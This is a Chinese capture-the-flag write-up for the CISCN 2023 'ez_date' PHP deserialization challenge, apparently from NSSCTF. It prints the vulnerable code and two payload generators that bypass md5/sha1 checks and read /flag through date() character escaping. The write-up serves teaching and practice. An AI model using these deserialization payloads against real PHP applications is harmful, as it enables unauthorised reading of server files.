[CISCN 2023 华北]ez_date
哈希函数与反序列化
[CISCN 2023 华北]ez_date | NSSCTF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php error_reporting(0); highlight_file(__FILE__); class date{ public $a; public $b; public $file; public function __wakeup() { if(is_array($this->a)||is_array($this->b)){ die('no array'); } if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){ $content=date($this->file); $uuid=uniqid().'.txt'; file_put_contents($uuid,$content); $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid)); echo file_get_contents($data); } else{ die(); } } }
unserialize(base64_decode($_GET['code']));
|
原题代码已经给出,我们可以看到,主要利用点就在于反序列化自动触发的wakeup函数
可以看到要满足判断
1
| if(($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)))
|
上面过滤了数组强比较的方法,由于是反序列化,我们也可以使用构造类和利用字符串和数字哈希值相同的方法绕过
在php手册中,可以看到date()
中的字符串参数有很多有特殊含义的字符,例如”l”代表星期,”Y”代表年份,”F”代表月份。可以用反斜杠
+字符来表示原字符。date("/f\l\a\g") => "/flag"
看一下这个正则表达式,用于去除$content中的空白字符,对我们构造的结果/flag应该是没有影响的
1 2 3 4 5
| $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid)); (\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符 (\n)+: 匹配一个或多个换行符 /i : 匹配时不区分大小写 把上面匹配到的内容全部置换为空
|
构造类绕过哈希强类型比较
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php class AnotherClass { public $data; public function __construct($data = 'default data') { $this->data = $data; } public function getData() { return $this->data; } }
class date{ public $a; public $b; public $file; public function __construct() { $this->a = new AnotherClass('initialized data'); $this->b = new AnotherClass('123data'); $this->file = "/f\l\a\g"; } }
$obj = new date(); echo date("\/f\l\a\g"), "\n"; echo base64_encode(serialize($obj)); ?>
|
这里和数组一样会返回NULL,也就是说if语句判断就变成了
1
| if(NULL===NULL) -> return true;
|
之后就可以利用file_get_contents()函数读取/flag
字符串和数字绕过强类型比较
为了验证字符串和数字的哈希函数值相同,先构造代码测试一下
1 2 3 4 5 6 7 8 9
| <?php if(sha1(12) === sha1('12') && md5(1) === md5('1')){ echo("666"); } else{ echo("777"); } ?>
|
说明数字12和字符串”12”的哈希值在php中是相同的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0); highlight_file(__FILE__); class date{ public $a; public $b; public $file; }
$a = new date(); $a -> a = 1; $a -> b = '1'; $a -> file = "/f\l\a\g"; echo(base64_encode(serialize(($a)))) ?>
|
成功读取/flag